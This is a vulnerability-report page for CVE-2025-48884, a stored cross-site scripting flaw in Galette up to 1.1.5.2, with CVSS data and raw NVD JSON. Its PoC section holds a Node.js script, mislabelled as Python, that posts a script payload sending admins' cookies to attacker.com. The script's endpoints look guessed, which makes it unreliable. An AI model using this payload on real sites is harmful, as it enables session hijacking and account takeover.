Security Vulnerability Report
中文
CVE-2025-48884 CVSS 6.1 MEDIUM

CVE-2025-48884

Published: 2025-11-04 21:15:38
Last Modified: 2025-11-10 18:13:05

Description

Galette is a membership management web application for non profit organizations. In versions 1.1.5.2 and below, Galette's Document Type is vulnerable to Cross-site Scripting. This issue is fixed in version 1.2.0.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:galette:galette:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:galette:galette:1.2.0:alpha:*:*:*:*:*:* - VULNERABLE
Galette <= 1.1.5.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-48884 PoC - Galette Document Type XSS // Target: Galette <= 1.1.5.2 // Attack Type: Stored XSS in Document Type const fetch = require('node-fetch'); const TARGET = 'http://target-galette-server'; const USERNAME = '[email protected]'; const PASSWORD = 'password123'; async function login() { const response = await fetch(`${TARGET}/login`, { method: 'POST', headers: {'Content-Type': 'application/x-www-form-urlencoded'}, body: `login=${USERNAME}&password=${PASSWORD}`, redirect: 'follow' }); return response.headers.get('set-cookie'); } async function exploitStoredXSS(cookies) { // Malicious XSS payload in Document Type name field const xssPayload = '<script>document.location="https://attacker.com/steal?c=' + '"+document.cookie</script>'; // Create malicious document type await fetch(`${TARGET}/document_types/store`, { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded', 'Cookie': cookies }, body: `type_name=${encodeURIComponent(xssPayload)}&csrf_token=xxx` }); console.log('[+] Malicious Document Type created'); console.log('[+] When admin views document types, XSS will execute'); } async function main() { const cookies = await login(); await exploitStoredXSS(cookies); } main();

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-48884", "sourceIdentifier": "[email protected]", "published": "2025-11-04T21:15:37.660", "lastModified": "2025-11-10T18:13:05.253", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Galette is a membership management web application for non profit organizations. In versions 1.1.5.2 and below, Galette's Document Type is vulnerable to Cross-site Scripting. This issue is fixed in version 1.2.0."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-80"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:galette:galette:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.2.0", "matchCriteriaId": "C73ECAC2-D9C6-439D-B19F-9D21D0A4FFAD"}, {"vulnerable": true, "criteria": "cpe:2.3:a:galette:galette:1.2.0:alpha:*:*:*:*:*:*", "matchCriteriaId": "C5E49488-E480-415D-8E43-316B9FDA7606"}]}]}], "references": [{"url": "https://github.com/galette/galette/security/advisories/GHSA-3rc3-rc5x-vmr4", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}